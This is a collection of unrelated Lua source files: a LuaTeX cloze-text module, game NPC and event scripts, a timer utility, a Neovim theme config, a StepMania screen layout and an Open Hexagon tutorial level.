nodex.insert_list('before', stop_node, {nodex.create_color('reset')}, node_head)
else
line_node.next = stop_node.next
stop_node.prev = line_node -- not line_node.prev -> line color leaks out
end
-- In some edge cases the lua callbacks get fired up twice. After the
-- cloze has been created, the start and stop whatsit markers can be
-- deleted.
registry.remove_marker(start_node)
return registry.remove_marker(stop_node), parent_node
end
--- Search for a stop marker or make a cloze up to the end of the node
-- list.
--
-- @tparam node start_node The node to start a new cloze.
-- @tparam node parent_node The parent node (hlist) of the start node.
--
-- @treturn head_node The fast forwarded new head of the node list.
-- @treturn parent_node The parent node (hlist) of the head node.
function search_stop(start_node, parent_node)
local head_node = start_node
local last_node
while head_node do
if registry.check_marker(head_node, 'basic', 'stop') then
return make_single(start_node, head_node, parent_node)
end
last_node = head_node
head_node = head_node.next
end
-- Make a cloze until the end of the node list.
head_node = make_single(start_node, last_node, parent_node)
if parent_node.next then
return continue_cloze(parent_node.next)
else
return head_node, parent_node
end
end
--- Continue a multiline cloze.
--
-- @tparam node parent_node A parent node to search for a hlist node.
--
-- @treturn head_node The fast forwarded new head of the node list.
-- @treturn parent_node The parent node (hlist) of the head node.
function continue_cloze(parent_node)
local hlist_node = search_hlist(parent_node)
if hlist_node then
local start_node = hlist_node.head
return search_stop(start_node, hlist_node)
end
end
--- Search for a start marker.
--
-- @tparam node head_node The head of a node list.
-- @tparam node parent_node The parent node (hlist) of the head node.
local function search_start(head_node, parent_node)
while head_node do
if head_node.head then
search_start(head_node.head, head_node)
elseif registry.check_marker(head_node, 'basic', 'start') and
parent_node and
parent_node.id == node.id('hlist') then
-- Adds also a strut at the first position. It prepars the
-- hlist and makes it ready to build a cloze.
search_hlist(parent_node)
head_node, parent_node = search_stop(head_node, parent_node)
end
if head_node then
head_node = head_node.next
else
break
end
end
end
search_start(head_node_input)
return head_node_input
end
--- The corresponding LaTeX command to this Lua function is `\clozefix`.
--
-- @tparam node head_node_input The head of a node list.
local function make_fix(head_node_input)
--- Calculate the length of the whitespace before (`kern_start_length`) and
-- after (`kern_stop_length`) the text.
local function calculate_length(start, stop)
local width, kern_start_length, kern_stop_length, text_width, half_length, align
width = tex.sp(registry.get_value('width'))
text_width = node.dimensions(start, stop)
align = registry.get_value('align')
if align == 'right' then
kern_start_length = - text_width
kern_stop_length = 0
elseif align == 'center' then
half_length = (width - text_width) / 2
kern_start_length = - half_length - text_width
kern_stop_length = half_length
else
kern_start_length = - width
kern_stop_length = width - text_width
end
return width, kern_start_length, kern_stop_length
end
--- The function `make_single` generates a gap of fixed width.
--
-- __Node lists__
--
-- __Show text:__
--
-- <table>
-- <tbody>
-- <tr>
-- <td>`start_node`</td>
-- <td>`whatsit`</td>
-- <td>`user_definded`</td>
-- <td>`index`</td>
-- </tr>
-- <tr>
-- <td>`line_node`</td>
-- <td>`rule`</td>
-- <td></td>
-- <td>`width`</td>
-- </tr>
-- <tr>
-- <td>`kern_start_node`</td>
-- <td>`kern`</td>
-- <td>& Depends on `align`</td>
-- <td></td>
-- </tr>
-- <tr>
-- <td>`color_text_node`</td>
-- <td>`whatsit`</td>
-- <td>`pdf_colorstack`</td>
-- <td>Text color</td>
-- </tr>
-- <tr>
-- <td></td>
-- <td>`glyphs`</td>
-- <td>& Text to show</td>
-- <td></td>
-- </tr>
-- <tr>
-- <td>`color_reset_node`</td>
-- <td>`whatsit`</td>
-- <td>`pdf_colorstack`</td>
-- <td>Reset color</td>
-- </tr>
-- <tr>
-- <td>`kern_stop_node`</td>
-- <td>`kern`</td>
-- <td>& Depends on `align`</td>
-- <td></td>
-- </tr>
-- <tr>
-- <td>`stop_node`</td>
-- <td>`whatsit`</td>
-- <td>`user_definded`</td>
-- <td>`index`</td>
-- </tr>
-- </tbody>
-- </table>
--
-- __Hide text:__
--
-- <table>
-- <thead>
-- <tr>
-- <th>`start_node`</th>
-- <th>`whatsit`</th>
-- <th>`user_definded`</th>
-- <th>`index`</th>
-- </tr>
-- </thead>
-- <tbody>
-- <tr>
-- <td>`line_node`</td>
-- <td>`rule`</td>
-- <td></td>
-- <td>`width`</td>
-- </tr>
-- <tr>
-- <td>`stop_node`</td>
-- <td>`whatsit`</td>
-- <td>`user_definded`</td>
-- <td>`index`</td>
-- </tr>
-- </tbody>
-- </table>
--
-- Make fixed size cloze.
--
-- @param start The node, where the gap begins
-- @param stop The node, where the gap ends
local function make_single(start, stop)
local width, kern_start_length, kern_stop_length, line_node
width, kern_start_length, kern_stop_length = calculate_length(start, stop)
line_node = nodex.insert_line(start, width)
if registry.get_value_show() then
nodex.insert_list(
'after',
line_node,
{
create_kern_node(kern_start_length),
nodex.create_color('text')
}
)
nodex.insert_list(
'before',
stop,
{
nodex.create_color('reset'),
create_kern_node(kern_stop_length)
},
start
)
else
line_node.next = stop.next
end
registry.remove_marker(start)
registry.remove_marker(stop)
end
--- Function to recurse the node list and search after marker.
--
-- @tparam node head_node The head of a node list.
local function make_fix_recursion(head_node)
local start_node, stop_node = false, false
while head_node do
if head_node.head then
make_fix_recursion(head_node.head)
else
if not start_node then
start_node = registry.get_marker(head_node, 'fix', 'start')
end
if not stop_node then
stop_node = registry.get_marker(head_node, 'fix', 'stop')
end
if start_node and stop_node then
make_single(start_node, stop_node)
start_node, stop_node = false, false
end
end
head_node = head_node.next
end
end
make_fix_recursion(head_node_input)
return head_node_input
end
--- The corresponding LaTeX environment to this lua function is
-- `clozepar`.
--
-- __Node lists__
--
-- __Show text:__
--
-- <table>
-- <thead>
-- <tr>
-- <th>`strut_node`</th>
-- <th>`kern`</th>
-- <th></th>
-- <th>width = 0</th>
-- </tr>
-- </thead>
-- <tbody>
-- <tr>
-- <td>`line_node`</td>
-- <td>`rule`</td>
-- <td></td>
-- <td>`width` (Width from hlist)</td>
-- </tr>
-- <tr>
-- <td>`kern_node`</td>
-- <td>`kern`</td>
-- <td></td>
-- <td>`-width`</td>
-- </tr>
-- <tr>
-- <td>`color_text_node`</td>
-- <td>`whatsit`</td>
-- <td>`pdf_colorstack`</td>
-- <td>Text color</td>
-- </tr>
-- <tr>
-- <td></td>
-- <td>`glyphs`</td>
-- <td></td>
-- <td>Text to show</td>
-- </tr>
-- <tr>
-- <td>`tail_node`</td>
-- <td>`glyph`</td>
-- <td></td>
-- <td>Last glyph in hlist</td>
-- </tr>
-- <tr>
-- <td>`color_reset_node`</td>
-- <td>`whatsit`</td>
-- <td>`pdf_colorstack`</td>
-- <td>Reset color</td>
-- </tr>
-- </tbody>
-- </table>
--
-- __Hide text:__
--
-- <table>
-- <thead>
-- <tr>
-- <th>`strut_node`</th>
-- <th>`kern`</th>
-- <th></th>
-- <th>width = 0</th>
-- </tr>
-- </thead>
-- <tbody>
-- <tr>
-- <td>`line_node`</td>
-- <td>`rule`</td>
-- <td></td>
-- <td>`width` (Width from hlist)</td>
-- </tr>
-- </tbody>
-- </table>
--
-- @tparam node head_node The head of a node list.
local function make_par(head_node)
--- Add one additional empty line at the end of a paragraph.
--
-- All fields from the last hlist node are copied to the created
-- hlist.
--
-- @tparam node last_hlist_node The last hlist node of a paragraph.
--
-- @treturn node The created new hlist node containing the line.
local function add_additional_line(last_hlist_node)
local hlist_node = node.new(node.id('hlist'))
hlist_node.subtype = 1
local fields = {
'width',
'depth',
'height',
'shift',
'glue_order',
'glue_set',
'glue_sign',
'dir'
}
for _, field in ipairs(fields) do
if last_hlist_node[field] then
hlist_node[field] = last_hlist_node[field]
end
end
local kern_node = create_kern_node(0)
hlist_node.head = kern_node
nodex.insert_line(kern_node, last_hlist_node.width)
last_hlist_node.next = hlist_node
hlist_node.prev = last_hlist_node
hlist_node.next = nil
return hlist_node
end
--- Add multiple empty lines at the end of a paragraph.
--
-- @tparam node last_hlist_node The last hlist node of a paragraph.
-- @tparam number count Count of the lines to add at the end.
local function add_additional_lines(last_hlist_node, count)
local i = 0
while i < count do
last_hlist_node = add_additional_line(last_hlist_node)
i = i + 1
end
end
local strut_node, line_node, width, last_hlist_node, hlist_node
local line_count = 0
while head_node do
if head_node.id == node.id('hlist') then
hlist_node = head_node
line_count = line_count + 1
last_hlist_node = hlist_node
width = hlist_node.width
hlist_node, strut_node, _ = insert_strut_into_hlist(hlist_node)
line_node = nodex.insert_line(strut_node, width)
if registry.get_value_show() then
nodex.insert_list(
'after',
line_node,
{
create_kern_node(-width),
nodex.create_color('text')
}
)
nodex.insert_list(
'after',
node.tail(head_node),
{nodex.create_color('reset')}
)
else
line_node.next = nil
end
end
head_node = head_node.next
end
local minlines = registry.get_value('minlines')
local additional_lines = minlines - line_count
if additional_lines > 0 then
add_additional_lines(last_hlist_node, additional_lines)
end
return true
end
---
-- @tparam string callback_name The name of a callback
-- @tparam function func A function to register for the callback
-- @tparam string description Only used in LuaLatex
local function register_callback(callback_name, func, description)
if luatexbase then
luatexbase.add_to_callback(
callback_name,
func,
description
)
else
callback.register(callback_name, func)
end
end
---
-- @tparam string callback_name The name of a callback
-- @tparam string description Only used in LuaLatex
local function unregister_callback(callback_name, description)
if luatexbase then
luatexbase.remove_from_callback(
callback_name,
description
)
else
callback.register(callback_name, nil)
end
end
--- Exported functions.
--
-- The `export` table contains functions which are published to the
-- `cloze.lua` and `cloze.sty` file.
--
-- @section export
--- The `export` table contains some basic functions. `export` is the
-- only table of this Lua module that will be exported.
local export = {}
--- Store informations if the callbacks are already registered for
-- a certain mode (`basic`, `fix`, `par`).
--
-- <code><pre>
-- is_registered = {
-- fix = true,
-- basic = false,
-- par = false,
-- }</pre></code>
--
export.is_registered = {}
--- This function registers the functions `make_par`, `make_basic` and
-- `make_fix` the Lua callbacks.
--
-- `make_par` and `make_basic` are registered to the callback
-- `post_linebreak_filter` and `make_fix` to the callback
-- `pre_linebreak_filter`. The argument `mode` accepts the string values
-- `basic`, `fix` and `par`. A special treatment is needed for clozes in
-- display math mode. The `post_linebreak_filter` is not called on
-- display math formulas. I’m not sure if the `pre_output_filter` is the
-- right choice to capture the display math formulas.
function export.register_callback(mode)
if mode == 'par' then
register_callback(
'post_linebreak_filter',
make_par,
mode
)
return true
end
if not export.is_registered[mode] then
if mode == 'basic' then
register_callback(
'post_linebreak_filter',
make_basic,
mode
)
register_callback(
'pre_output_filter',
make_basic,
mode
)
elseif mode == 'fix' then
register_callback(
'pre_linebreak_filter',
make_fix,
mode
)
else
return false
end
export.is_registered[mode] = true
end
end
--- Delete the registered functions from the Lua callbacks.
--
-- @tparam string mode The argument `mode` accepts the string values
-- `basic`, `fix` and `par`.
function export.unregister_callback(mode)
if mode == 'basic' then
unregister_callback('post_linebreak_filter', mode)
unregister_callback('pre_output_filter', mode)
elseif mode == 'fix' then
unregister_callback('pre_linebreak_filter', mode)
else
unregister_callback('post_linebreak_filter', mode)
end
end
-- Export some functions and values.
--- Variable that can be used to store the previous fbox rule thickness
-- to be able to restore the previous thickness.
export.fboxrule_restore = nil
export.write_linefil_nodes = write_linefil_nodes
export.write_line_nodes = write_line_nodes
export.write_margin_node = write_margin_node
export.set_option = registry.set_option
export.set_is_global = registry.set_is_global
export.unset_local_options = registry.unset_local_options
export.reset = registry.unset_global_options
export.get_defaults = registry.get_defaults
export.get_value = registry.get_value
export.marker = registry.write_marker
export.key_value_parser = key_value_parser
return export
|
-----------------------------------
-- Area: Al'Taieu
-- NPC: Crystalline Field
-- !pos .1 -10 -464 33
-----------------------------------
local ID = require("scripts/zones/AlTaieu/IDs")
require("scripts/globals/missions")
-----------------------------------
function onTrade(player, npc, trade)
end
function onTrigger(player, npc)
-- Set the PromathiaStatus to 3 if they did all 3 towers for GARDEN_OF_ANTIQUITY
if (player:getCharVar("[SEA][AlTieu]SouthTowerCS") == 1 and player:getCharVar("[SEA][AlTieu]WestTowerCS") == 1 and player:getCharVar("[SEA][AlTieu]EastTowerCS") == 1 and player:getCharVar("PromathiaStatus") == 2) then
player:setCharVar("[SEA][AlTieu]SouthTowerCS", 0)
player:setCharVar("[SEA][AlTieu]WestTowerCS", 0)
player:setCharVar("[SEA][AlTieu]EastTowerCS", 0)
player:setCharVar("PromathiaStatus", 3)
end
if (player:getCurrentMission(COP) == tpz.mission.id.cop.GARDEN_OF_ANTIQUITY and player:getCharVar("PromathiaStatus") == 1) then
player:startEvent(164)
elseif (player:getCurrentMission(COP) > tpz.mission.id.cop.GARDEN_OF_ANTIQUITY or (player:getCurrentMission(COP) == tpz.mission.id.cop.GARDEN_OF_ANTIQUITY and player:getCharVar("PromathiaStatus") == 3)) then
player:startEvent(100) -- Teleport inside
else
player:messageSpecial(ID.text.NOTHING_OUT_OF_ORDINARY) -- Access should be restricted if below requirements. Message is probably wrong, though.
end
end
function onEventUpdate(player, csid, option)
end
function onEventFinish(player, csid, option)
if (csid == 100 and option == 1) then
player:setPos(-20, 0.624, -355, 191, 34) -- {R}
elseif (csid == 164) then
player:setCharVar("PromathiaStatus", 2)
end
end
|
slot0 = class("EventFinishCommand", pm.SimpleCommand)
slot0.execute = function (slot0, slot1)
slot2 = slot1:getBody()
slot4 = slot2.callback
slot5 = slot2.onConfirm
slot6 = getProxy(EventProxy)
slot8, slot9 = slot6:CanFinishEvent(slot6:findInfoById(slot3))
if not slot8 then
if slot9 then
pg.TipsMgr.GetInstance():ShowTips(slot9)
end
if slot4 then
slot4()
end
return
end
if slot7:IsActivityType() then
slot0:sendNotification(GAME.ACT_COLLECTION_EVENT_OP, {
arg2 = 0,
cmd = ActivityConst.COLLETION_EVENT_OP_SUBMIT,
arg1 = slot3,
arg_list = {},
callBack = slot4,
onConfirm = slot5
})
else
pg.ConnectionMgr.GetInstance():Send(13005, {
id = slot3
}, 13006, function (slot0)
if slot0.result == 0 then
slot1 = getProxy(EventProxy)
slot1:findInfoById(slot0):SavePrevFormation()
slot1.OnFinish(slot0, slot0, slot1.OnFinish)
if slot0 then
slot3()
end
else
pg.TipsMgr.GetInstance():ShowTips(errorTip("event_finish_fail", slot0.result))
if errorTip then
slot3()
end
end
end)
end
end
slot0.OnFinish = function (slot0, slot1, slot2)
pg.TipsMgr.GetInstance():ShowTips(i18n("event_finish_success"))
slot3 = getProxy(EventProxy)
slot4 = {}
slot5 = {}
if slot1.exp > 0 then
slot6 = getProxy(BayProxy)
for slot11, slot12 in ipairs(slot7) do
if slot6:getShipById(slot12) then
slot14 = Clone(slot13)
slot14:addExp(slot1.exp)
slot6:updateShip(slot14)
table.insert(slot4, slot13)
table.insert(slot5, slot14)
end
end
end
slot7 = getProxy(PlayerProxy)
slot8 = slot7:getData()
slot8.collect_attack_count = slot8.collect_attack_count + 1
slot7:updatePlayer(slot8)
slot9, slot13 = slot3:findInfoById(slot0)
table.remove(slot3.eventList, slot10)
_.each(slot1.new_collection, function (slot0)
table.insert(slot0.eventList, EventInfo.New(slot0))
end)
pg.ShipFlagMgr.GetInstance().UpdateFlagShips(slot11, "inEvent")
pg.m02:sendNotification(GAME.EVENT_LIST_UPDATE)
pg.m02:sendNotification(GAME.EVENT_SHOW_AWARDS, {
eventId = slot0,
oldShips = slot4,
newShips = slot5,
awards = PlayerConst.addTranDrop(slot1.drop_list),
isCri = slot1.is_cri > 0,
onConfirm = slot2
})
end
return slot0
|
local timer = {
list = {}
}
timer.new = function (key, delay)
timer.list[key] = {
delay = delay,
timerCount = 0,
enabled = true
}
end
timer.isTimeTo = function (key, dt)
local t = timer.list[key]
if not t or not t.enabled then
return false
end
t.timerCount = t.timerCount + dt
if t.timerCount >= t.delay then
t.timerCount = 0
t.enabled = false
return true
end
end
timer.completeIteration = function (key)
local t = timer.list[key]
if t then
t.timerCount = t.delay
end
end
timer.setDelay = function (key, delay)
local t = timer.list[key]
if t then
t.delay = delay
end
end
return timer
|
vim.g.tokyonight_style = "storm"
vim.g.tokyonight_italic_comments = true
vim.g.tokyonight_sidebars = { "qf", "vista_kind", "terminal", "packer" }
vim.cmd[[colorscheme tokyonight]]
require('lualine').setup {
options = {
-- ... your lualine config
theme = 'tokyonight'
-- ... your lualine config
}
}
|
function ToggleScoreboard(player, toggle)
CallRemoteEvent(player, 'scorebork:ToggleScoreboard', toggle)
end
function InsertPlayer(player, other, name, level, ping)
CallRemoteEvent(player, 'scorebork:InsertPlayer', other, name, level, ping)
end
function UpdatePlayer(player, value, newvalue)
CallRemoteEvent(player, 'scorebork:UpdatePlayer', player, value, newvalue)
end
AddFunctionExport('ToggleScoreboard', ToggleScoreboard)
AddFunctionExport('InsertPlayer', InsertPlayer)
AddFunctionExport('UpdatePlayer', UpdatePlayer)
AddRemoteEvent("scorebork:updateScoreboard", function (playerid)
local players = GetAllPlayers()
table.sort(players)
for _, v in pairs(players) do
--[[
if PlayerData[v] ~= nil then
InsertPlayer(playerid, v, GetPlayerName(v), PlayerData[v].level, GetPlayerPing(v))
end
]]--
InsertPlayer(playerid, v, GetPlayerName(v), 1, GetPlayerPing(v))
end
end)
|
local t = Def.ActorFrame{};
t[#t+1] = Def.ActorFrame{
LoadActor("bnrframe")..{
InitCommand=cmd(x,SCREEN_CENTER_X;y,SCREEN_CENTER_Y-138);
};
};
t[#t+1] = Def.ActorFrame{
InitCommand=cmd(CenterX;y,SCREEN_CENTER_Y+130);
OffCommand=cmd(sleep,0.15;linear,0.15;diffusealpha,0);
Def.Sprite{
Texture="arrow";
InitCommand=cmd(x,224;rotationy,180;pause;setstate,0);
};
Def.Sprite{
Texture="arrow";
InitCommand=cmd(x,224;rotationy,180;pause;diffusealpha,0;SetAllStateDelays,0.025);
NextSongMessageCommand=cmd(stoptweening;pause;setstate,0;diffusealpha,1;play;sleep,0.4;diffusealpha,0;queuecommand,"end");
EndCommand=cmd(pause;setstate,0);
};
Def.Sprite{
Texture="arrow";
InitCommand=cmd(x,-224;pause;setstate,0);
};
Def.Sprite{
Texture="arrow";
InitCommand=cmd(x,-224;pause;diffusealpha,0;SetAllStateDelays,0.025);
PreviousSongMessageCommand=cmd(stoptweening;pause;setstate,0;diffusealpha,1;play;sleep,0.4;diffusealpha,0;queuecommand,"end");
EndCommand=cmd(pause;setstate,0);
};
};
--Stage
t[#t+1] = Def.Sprite{
InitCommand=cmd(pause;y,SCREEN_CENTER_Y-244;x,SCREEN_CENTER_X+296;halign,1;queuecommand,"Set");
SetCommand=function(self)
self:Load(THEME:GetPathG("","_shared2ndMIX/Stages 1x9"));
local GetStage = GAMESTATE:GetCurrentStage();
if GetStage == 'Stage_1st' then
self:setstate(0);
elseif GetStage == 'Stage_2nd' then
self:setstate(1);
elseif GetStage == 'Stage_3rd' then
self:setstate(2);
elseif GetStage == 'Stage_4th' then
self:setstate(3);
elseif GetStage == 'Stage_5th' then
self:setstate(4);
elseif GetStage == 'Stage_Final' then
self:setstate(5);
elseif GetStage == 'Stage_Extra1' then
self:setstate(6);
elseif GetStage == 'Stage_Extra2' then
self:setstate(7);
elseif GetStage == 'Stage_Event' then
self:setstate(8);
else
self:visible(false)
end;
end;
};
t[#t+1] = Def.Sprite{
InitCommand=cmd(pause;y,SCREEN_CENTER_Y-244;x,SCREEN_CENTER_X-296;halign,0;queuecommand,"Set");
SetCommand=function(self)
self:Load(THEME:GetPathG("","_shared2ndMIX/Difficulty 1x3.png"));
if getenv("TWOMIXEASY") then
self:setstate(0);
elseif getenv("TWOMIXNORM") then
self:setstate(1);
elseif getenv("TWOMIXHARD") then
self:setstate(2);
else
self:visible(false)
end;
end;
};
--Style
t[#t+1] = Def.Sprite{
InitCommand=cmd(CenterX;y,SCREEN_CENTER_Y-16;queuecommand,"Set");
SetCommand=function(s)
local style = GAMESTATE:GetCurrentStyle():GetStyleType()
if style == 'StyleType_OnePlayerOneSide' then
s:Load(THEME:GetPathG("","_shared2ndMIX/Styles/single"));
elseif style == 'StyleType_TwoPlayersTwoSides' then
s:Load(THEME:GetPathG("","_shared2ndMIX/Styles/versus"));
elseif style == 'StyleType_OnePlayerTwoSides' then
s:Load(THEME:GetPathG("","_shared2ndMIX/Styles/double"));
elseif style == 'StyleType_TwoPlayersSharedSides' then
s:Load(THEME:GetPathB("","_shared2ndMIX/Styles/couple"));
end;
end;
};
--Since we lock difficulty changes to Screen2ndMIXSelectGameMode, we just get the master player.
local PLAYER = GAMESTATE:GetMasterPlayerNumber()
t[#t+1] = Def.Sprite{
Texture = "Basic";
InitCommand=cmd(pause;visible,false;CenterX;y,SCREEN_BOTTOM-170;queuecommand,"Set");
CurrentSongChangedMessageCommand=cmd(queuecommand,"Set");
CurrentCourseChangedMessageCommand=cmd(queuecommand,"Set");
CurrentStepsP1ChangedMessageCommand=cmd(queuecommand,"Set");
CurrentStepsP2ChangedMessageCommand=cmd(queuecommand,"Set");
SetCommand=function(self,params)
local song = GAMESTATE:GetCurrentSong();
local st = GAMESTATE:GetCurrentStyle():GetStepsType();
local diff = GAMESTATE:GetCurrentSteps(PLAYER):GetDifficulty();
if song then
if diff == 'Difficulty_Beginner' then
self:visible(true);
self:Load(THEME:GetPathB("","Screen2ndMIXSelectMusic decorations/Beginner"));
elseif diff == 'Difficulty_Easy' then
self:visible(true);
self:Load(THEME:GetPathB("","Screen2ndMIXSelectMusic decorations/basic"));
elseif diff == 'Difficulty_Medium' then
self:visible(true);
self:Load(THEME:GetPathB("","Screen2ndMIXSelectMusic decorations/another"));
elseif diff == 'Difficulty_Hard' then
self:visible(true);
self:Load(THEME:GetPathB("","Screen2ndMIXSelectMusic decorations/maniac"));
elseif diff == 'Difficulty_Challenge' then
self:visible(true);
self:Load(THEME:GetPathB("","Screen2ndMIXSelectMusic decorations/Challenge"));
else
self:visible(false)
end;
local steps = song:GetOneSteps(GAMESTATE:GetCurrentStyle():GetStepsType(), diff)
local meter = steps:GetMeter();
self:setstate(math.min(meter-1, 9));
else
self:visible(false)
end;
end;
};
t[#t+1] = Def.Sprite{
InitCommand=cmd(pause;visible,false;CenterX;y,SCREEN_BOTTOM-120;queuecommand,"Set");
CurrentSongChangedMessageCommand=cmd(queuecommand,"Set");
CurrentCourseChangedMessageCommand=cmd(queuecommand,"Set");
CurrentStepsP1ChangedMessageCommand=cmd(queuecommand,"Set");
CurrentStepsP2ChangedMessageCommand=cmd(queuecommand,"Set");
SetCommand=function(self,params)
local song = GAMESTATE:GetCurrentSong();
local st = GAMESTATE:GetCurrentStyle():GetStepsType();
local diff = GAMESTATE:GetCurrentSteps(PLAYER):GetDifficulty();
if song then
local songtit = song:GetDisplayMainTitle();
if diff == 'Difficulty_Beginner' then
self:visible(true);
self:Load(THEME:GetPathG("","_shared2ndMIX/FootDiffBasic 1x10"));
if SongDiffTitleBasic[songtit] ~= nil then
self:setstate(SongDiffTitleBasic[songtit])
self:visible(true)
else
local randomnum = math.random(0,9);
self:setstate(randomnum)
self:visible(true)
end;
elseif diff == 'Difficulty_Easy' then
self:visible(true);
self:Load(THEME:GetPathG("","_shared2ndMIX/FootDiffBasic 1x10"));
if SongDiffTitleBasic[songtit] ~= nil then
self:setstate(SongDiffTitleBasic[songtit])
self:visible(true)
else
local randomnum = math.random(0,9);
self:setstate(randomnum)
self:visible(true)
end;
elseif diff == 'Difficulty_Medium' then
self:visible(true);
self:Load(THEME:GetPathG("","_shared2ndMIX/FootDiffAnother 1x10"));
if SongDiffTitleAnother[songtit] ~= nil then
self:setstate(SongDiffTitleAnother[songtit])
self:visible(true)
else
local randomnum = math.random(0,9);
self:setstate(randomnum)
self:visible(true)
end;
elseif diff == 'Difficulty_Hard' then
self:visible(true);
self:Load(THEME:GetPathG("","_shared2ndMIX/FootDiffManiac 1x10"));
if SongDiffTitleManiac[songtit] ~= nil then
self:setstate(SongDiffTitleManiac[songtit])
self:visible(true)
else
local randomnum = math.random(0,9);
self:setstate(randomnum)
self:visible(true)
end;
elseif diff == 'Difficulty_Challenge' then
self:visible(true);
self:Load(THEME:GetPathG("","_shared2ndMIX/FootDiffManiac 1x10"));
if SongDiffTitleManiac[songtit] ~= nil then
self:setstate(SongDiffTitleManiac[songtit])
self:visible(true)
else
local randomnum = math.random(0,9);
self:setstate(randomnum)
self:visible(true)
end;
else
self:visible(false)
end;
else
self:visible(false)
end;
end;
};
t[#t+1] = LoadActor("bottom")..{
InitCommand=cmd(CenterX;y,SCREEN_BOTTOM-64);
};
-- Dancer 1P
t[#t+1]=Def.Sprite{
InitCommand = cmd(player,PLAYER_1;vertalign,bottom;diffusealpha,0.75;x,SCREEN_CENTER_X-380;y,SCREEN_CENTER_Y+190;blend,Blend.Add);
OnCommand =function(self)
self:Load(THEME:GetPathG("","_Dancer/1Pdancer 24x1.png"));
self:playcommand("Set");
end;
-- SetCommand base from DDR 5th MIX by AJ 187
SetCommand=function(self)
self:SetAllStateDelays(0.05);
end;
CurrentSongChangedMessageCommand=cmd(playcommand,"Set");
PlayerJoinedMessageCommand=function(self, params)
if params.Player == PLAYER_1 then
self:visible(true);
(cmd(zoom,0;bounceend,0.3;zoom,1))(self);
end;
end;
PlayerUnjoinedMessageCommand=function(self, params)
if params.Player == PLAYER_1 then
self:visible(true);
(cmd(bouncebegin,0.3;zoom,0))(self);
end;
end;
OffCommand=cmd(diffusealpha,0);
};
-- Dancer 2P
t[#t+1]=Def.Sprite{
InitCommand = cmd(player,PLAYER_2;vertalign,bottom;zoom,1.5;diffuse,PlayerColor(PLAYER_2);diffusealpha,0.75;x,SCREEN_CENTER_X+240;y,SCREEN_CENTER_Y+43;blend,Blend.Add);
OnCommand =function(self)
local Ramdoms = {"A","B","C","D"}
local RamdomDancer = Ramdoms[math.random(#Ramdoms)];
self:Load(THEME:GetPathG("","_Dancer/2Pdancer"..RamdomDancer));
self:playcommand("Set");
end;
SetCommand=function(self)
local song = GAMESTATE:GetCurrentSong()
if song then
local dispBpms = song:GetDisplayBpms()
local bpmLimited = clamp(math.abs(dispBpms[2]),1,9999)
local bps = (1/bpmLimited)*5;
self:SetAllStateDelays(bps);
else
self:SetAllStateDelays(0.042);
end;
end;
CurrentSongChangedMessageCommand=cmd(playcommand,"Set");
PlayerJoinedMessageCommand=function(self, params)
if params.Player == PLAYER_2 then
self:visible(true);
(cmd(zoom,0;bounceend,0.3;zoom,1.5))(self);
end;
end;
PlayerUnjoinedMessageCommand=function(self, params)
if params.Player == PLAYER_2 then
self:visible(true);
(cmd(bouncebegin,0.3;zoom,0))(self);
end;
end;
OffCommand=cmd(diffusealpha,0);
};
t[#t+1] = Def.ActorFrame{
LoadActor(THEME:GetPathG("","_shared2ndMIX/1P.png"))..{
InitCommand=cmd(xy,SCREEN_CENTER_X-415,SCREEN_CENTER_Y+176;visible,false);
OnCommand=function(s) if GAMESTATE:IsPlayerEnabled(PLAYER_1) then s:visible(true) else s:visible(false) end; end;
};
};
t[#t+1] = Def.ActorFrame{
LoadActor(THEME:GetPathG("","_shared2ndMIX/2P.png"))..{
InitCommand=cmd(xy,SCREEN_CENTER_X+415,SCREEN_CENTER_Y+176;visible,false);
OnCommand=function(s) if GAMESTATE:IsPlayerEnabled(PLAYER_2) then s:visible(true) else s:visible(false) end; end;
};
};
t[#t+1] = Def.Sprite{
InitCommand=function(self)
self:Load(THEME:GetPathG("","_shared2ndMIX/CDTitles 4x3"));
self:pause()
self:xy(SCREEN_CENTER_X+220,SCREEN_CENTER_Y+30)
end;
SetCommand=function(self)
local song = GAMESTATE:GetCurrentSong()
if song then
local songtit = song:GetDisplayMainTitle();
if CDTitles[songtit] ~= nil then
self:setstate(CDTitles[songtit])
self:visible(true)
else
self:setstate(3)
self:visible(true)
end;
else
self:setstate(0)
self:visible(false)
end;
end;
CurrentSongChangedMessageCommand=cmd(playcommand,"Set");
};
return t
|
-- include useful files
u_execDependencyScript("ohvrvanilla", "base", "vittorio romeo", "utils.lua")
u_execDependencyScript("ohvrvanilla", "base", "vittorio romeo", "common.lua")
u_execDependencyScript("ohvrvanilla", "base", "vittorio romeo", "commonpatterns.lua")
u_execDependencyScript("ohvrvanilla", "base", "vittorio romeo", "nextpatterns.lua")
u_execDependencyScript("ohvrvanilla", "base", "vittorio romeo", "evolutionpatterns.lua")
-- this function adds a pattern to the timeline based on a key
function addPattern(mKey)
if mKey == 0 then cBarrage(0)
elseif mKey == 1 then hmcBarrageN(0, 0, 0, 0.05, -3.8, 2.7, true); t_wait(55)
elseif mKey == 2 then hmcBarrageN(0, 0, 0, -0.05, -2.7, 3.8, true); t_wait(55)
end
end
-- shuffle the keys, and then call them to add all the patterns
-- shuffling is better than randomizing - it guarantees all the patterns will be called
keys = { 1, 1, 2, 2 }
shuffle(keys)
index = 0
achievementUnlocked = false
-- onInit is an hardcoded function that is called when the level is first loaded
function onInit()
l_setSpeedMult(1.1)
l_setSpeedInc(0.045)
l_setRotationSpeed(0.1)
l_setRotationSpeedMax(0.4)
l_setRotationSpeedInc(0.045)
l_setDelayMult(1.0)
l_setDelayInc(0.0)
l_setFastSpin(71.0)
l_setSides(6)
l_setSidesMin(5)
l_setSidesMax(7)
l_setIncTime(0)
l_setWallSkewLeft(18)
l_setPulseMin(64)
l_setPulseMax(84)
l_setPulseSpeed(1.05)
l_setPulseSpeedR(1.35)
l_setPulseDelayMax(7)
l_setBeatPulseMax(15)
l_setBeatPulseDelayMax(110)
l_setSwapEnabled(true)
l_setTutorialMode(true)
l_setIncEnabled(false)
end
swappedOnce = false
swapTime = false
-- onCursorSwap is executed whenever the player executes a successful 180° swap
function onCursorSwap()
if (swapTime and not swappedOnce) then
swappedOnce = true
e_clearMessages()
end
end
-- onLoad is an hardcoded function that is called when the level is started/restarted
function onLoad()
e_waitS(1)
e_messageAddImportant("Welcome to the evolution tutorial", 150)
e_messageAddImportant("Today you'll be introduced to...", 120)
e_messageAddImportant("swapping, accelerating walls, and curving walls!", 300)
e_wait(570 + 120)
e_messageAddImportant("Swapping allows you to instantly rotate 180 degrees!", 200)
e_messageAddImportant("You can only swap when your player\nblinks red and yellow!", 250)
e_wait(450)
e_eval([[swapTime = true]])
